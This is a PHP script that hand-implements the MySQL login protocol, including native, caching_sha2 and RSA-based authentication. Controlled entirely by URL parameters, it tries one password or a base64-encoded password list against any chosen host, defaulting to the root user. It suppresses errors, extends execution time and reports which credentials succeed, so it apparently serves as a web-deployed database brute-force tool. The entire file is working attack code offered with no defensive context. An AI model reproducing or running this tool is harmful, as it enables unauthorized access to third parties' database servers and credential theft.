<?php @error_reporting(0);@ini_set('display_errors','0');@ini_set('max_execution_time','300');
set_time_limit(300);
function rd($s,$n){ $o=''; while(strlen($o)<$n){ $c=fread($s,$n-strlen($o)); if($c===false||$c==='')break; $o.=$c; } return $o; }
function readpkt($s){
  $h=rd($s,4); if(strlen($h)<4)return null;
  $len=ord($h[0])|(ord($h[1])<<8)|(ord($h[2])<<16);
  $seq=ord($h[3]);
  $pkt=rd($s,$len);
  return array($seq,$pkt);
}
function sendpkt($s,$seq,$pkt){
  $len=strlen($pkt);
  $hdr=chr($len&0xff).chr(($len>>8)&0xff).chr(($len>>16)&0xff).chr($seq);
  return @fwrite($s,$hdr.$pkt);
}
function native_auth($pass,$salt){
  $p1=sha1($pass,true);
  $p2=sha1($p1,true);
  $h=sha1($salt.$p2,true);
  $out=''; for($i=0;$i<20;$i++){ $out.=chr(ord($p1[$i])^ord($h[$i])); }
  return $out;
}
function c2a($pass,$salt){
  $s1=hash('sha256',$pass,true);
  $s2=hash('sha256',hash('sha256',$s1,true).$salt,true);
  $out=''; for($i=0;$i<32;$i++){ $out.=chr(ord($s1[$i])^ord($s2[$i])); }
  return $out;
}
function xor_pw($pass,$salt){ // XOR(null-terminated pass, salt)
  $data=$pass."\0"; $out='';
  $sn=strlen($salt); if($sn==0)return $data;
  for($i=0;$i<strlen($data);$i++){ $out.=chr(ord($data[$i])^ord($salt[$i % $sn])); }
  return $out;
}
function rsa_encrypt($data,$pem){
  $pem=trim($pem);
  $key=@openssl_pkey_get_public($pem);
  if(!$key) return null;
  $det=@openssl_pkey_get_details($key);
  $size=isset($det['bits'])?intval($det['bits']/8):256;
  $chunk=$size-11;
  if($chunk<1) return null;
  $out='';
  for($i=0;$i<strlen($data);$i+=$chunk){
    $piece=substr($data,$i,$chunk);
    $enc='';
    if(!@openssl_public_encrypt($piece,$enc,$key,OPENSSL_PKCS1_PADDING)) return null;
    $out.=$enc;
  }
  return $out;
}
function parse_greeting($p){
  if(ord($p[0])==0xff) return null;
  if(ord($p[0])!=0x0a) return null;
  $pos=1; $ver=''; while($pos<strlen($p)&&ord($p[$pos])!=0){ $ver.=chr(ord($p[$pos])); $pos++; } $pos++;
  $pos+=4; // thread id
  $salt1=substr($p,$pos,8); $pos+=8;
  $pos+=1; // filler
  $cap0=ord($p[$pos])|(ord($p[$pos+1])<<8); $pos+=2;
  $charset=ord($p[$pos]); $pos++;
  $pos+=2; // status
  $capu=ord($p[$pos])|(ord($p[$pos+1])<<8); $pos+=2;
  $caps=($capu<<16)|$cap0;
  $alen=ord($p[$pos]); $pos++;
  $pos+=10; // reserved
  $salt2='';
  if($caps & 0x00080000){
    $need=max(13,$alen-8);
    $salt2=substr($p,$pos,$need); $pos+=$need;
    $nz=strpos($salt2,"\0"); if($nz!==false)$salt2=substr($salt2,0,$nz);
  }
  while(strlen($salt1.$salt2)<20){ $salt2.="\0"; }
  return array('ver'=>$ver,'salt'=>substr($salt1.$salt2,0,20),'caps'=>$caps);
}
function mysql_try($ip,$user,$pass,$port=3306,$t=8){
  $s=@fsockopen($ip,$port,$e,$es,$t); if(!$s) return "CONNFAIL $e $es";
  stream_set_timeout($s,$t);
  $rp=readpkt($s); if(!$rp) return "NO_GREETING";
  list($seq,$p)=$rp;
  if($p===''||$p===null) return "EMPTY_GREET";
  if(ord($p[0])==0xff){ return "DENY errno=".(ord($p[1])|ord($p[2])<<8)." msg=".@substr($p,9); }
  $g=parse_greeting($p);
  if(!$g) return "PROTO_".ord($p[0]);
  $salt=$g['salt'];
  $cflags=0x00000200 | 0x00008000 | 0x00080000 | 0x00000001; // +CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA? no, that's 0x00200000. keep simple
  $payload=pack('V',$cflags);
  $payload.=pack('V',0x04000000);
  $payload.=chr(33);
  $payload.=str_repeat("\0",23);
  $payload.=$user."\0";
  $auth=native_auth($pass,$salt);
  $payload.=chr(strlen($auth)).$auth;
  $payload.="\0";
  $payload.="mysql_native_password\0";
  sendpkt($s,1,$payload);
  $rp2=readpkt($s); if(!$rp2) return "NO_RESP";
  list($seq2,$r)=$rp2;
  if($r===''||$r===null) return "EMPTY_RESP";
  $b=ord($r[0]);
  if($b==0x00){ $info=@substr($r,1); return "OK_AUTH MySQL ".$g['ver']." info=".$info; }
  if($b==0xff){ $en=ord($r[1])|(ord($r[2])<<8); $msg=@substr($r,3); if(ord($msg[0])==0x23)$msg=@substr($r,9); return "ERR $en ".trim($msg); }
  if($b==0xfe){
    // AuthSwitchRequest: 1 byte 0xfe + plugin\0 + data
    $pos=1; $plugin='';
    while($pos<strlen($r)&&ord($r[$pos])!=0){ $plugin.=chr(ord($r[$pos])); $pos++; }
    $pos++;
    $newsalt=substr($r,$pos);
    if(strlen($newsalt)<20) $newsalt=$salt;
    else { $nz=strpos($newsalt,"\0"); if($nz!==false)$newsalt=substr($newsalt,0,$nz); }
    $tgt='';
    if($plugin==='caching_sha2_password'){ $tgt=c2a($pass,$newsalt); }
    else if($plugin==='mysql_native_password'){ $tgt=native_auth($pass,$newsalt); }
    else if($plugin==='sha256_password'){ $tgt=xor_pw($pass,$newsalt); }
    else return "AUTH_SWITCH plugin=".$plugin;
    // caching_sha2 & sha256 over insecure conn need RSA for full auth; send scramble first
    $pktA=(strlen($tgt)>255)?$tgt:chr(strlen($tgt)).$tgt;
    sendpkt($s,$seq2+1,$pktA);
    $rp3=readpkt($s); if(!$rp3) return "NO_RESP2";
    list($seq3,$r3)=$rp3;
    $b3=ord($r3[0]);
    if($b3==0x00){ $info=@substr($r3,1); return "OK_AUTH[$plugin] MySQL ".$g['ver']." info=".$info; }
    if($b3==0xff){ $en=ord($r3[1])|(ord($r3[2])<<8); $msg=@substr($r3,3); if(ord($msg[0])==0x23)$msg=@substr($r3,9); return "ERR[$plugin] $en ".trim($msg); }
    if($b3==0x01 && strlen($r3)>=2 && ord($r3[1])==0x03){
      // fast auth success -> expect OK next
      $rp4=readpkt($s); if(!$rp4) return "FAST_NO_OK";
      list($sq4,$r4)=$rp4;
      if(ord($r4[0])==0x00) return "OK_AUTH[$plugin fast] MySQL ".$g['ver'];
      if(ord($r4[0])==0xff){ $en=ord($r4[1])|(ord($r4[2])<<8); $msg=@substr($r4,3); if(ord($msg[0])==0x23)$msg=@substr($r4,9); return "ERR[$plugin fast] $en ".trim($msg); }
      return "FAST_".bin2hex(substr($r4,0,8));
    }
    if($b3==0x01 && strlen($r3)>=2 && ord($r3[1])==0x04){
      // full auth: request public key
      sendpkt($s,$seq3+1,"\x02");
      $rpk=readpkt($s); if(!$rpk) return "NO_PUBKEY";
      list($sqk,$rk)=$rpk;
      $rk=trim($rk);
      $data=xor_pw($pass,$newsalt);
      $enc=rsa_encrypt($data,$rk);
      if($enc===null) return "RSAFAIL pemlen=".strlen($rk)." first=".substr($rk,0,40);
      sendpkt($s,$sqk+1,$enc);
      $rp5=readpkt($s); if(!$rp5) return "NO_RESP3";
      list($sq5,$r5)=$rp5;
      if(ord($r5[0])==0x00) return "OK_AUTH[$plugin rsa] MySQL ".$g['ver'];
      if(ord($r5[0])==0xff){ $en=ord($r5[1])|(ord($r5[2])<<8); $msg=@substr($r5,3); if(ord($msg[0])==0x23)$msg=@substr($r5,9); return "ERR[$plugin rsa] $en ".trim($msg); }
      return "RSA_".bin2hex(substr($r5,0,8));
    }
    return "SWITCH ".$plugin." -> ".bin2hex(substr($r3,0,10));
  }
  return "UNKNOWN ".bin2hex(substr($r,0,8));
}
$ip=$_GET['ip'];
$user=isset($_GET['u'])?$_GET['u']:'root';
$port=isset($_GET['port'])?intval($_GET['port']):3306;
$passes=array();
if(isset($_GET['p'])){ $passes[]=$_GET['p']; }
if(isset($_GET['pl'])){ $lst=base64_decode($_GET['pl']); if($lst!==false){ foreach(explode("\n",$lst) as $l){ $l=trim($l); if($l!=='')$passes[]=$l; } } }
if(!$ip){ echo "need ip\n"; exit; }
$show=isset($_GET['show'])?true:false;
if(count($passes)==0){ echo $ip.":".$port." ".$user." (nopass) => ".mysql_try($ip,$user,'',$port)."\n"; exit; }
foreach($passes as $pass){ echo $ip.":".$port." ".$user." ".($show?$pass:str_repeat('*',strlen($pass)))." => ".mysql_try($ip,$user,$pass,$port)."\n"; flush(); }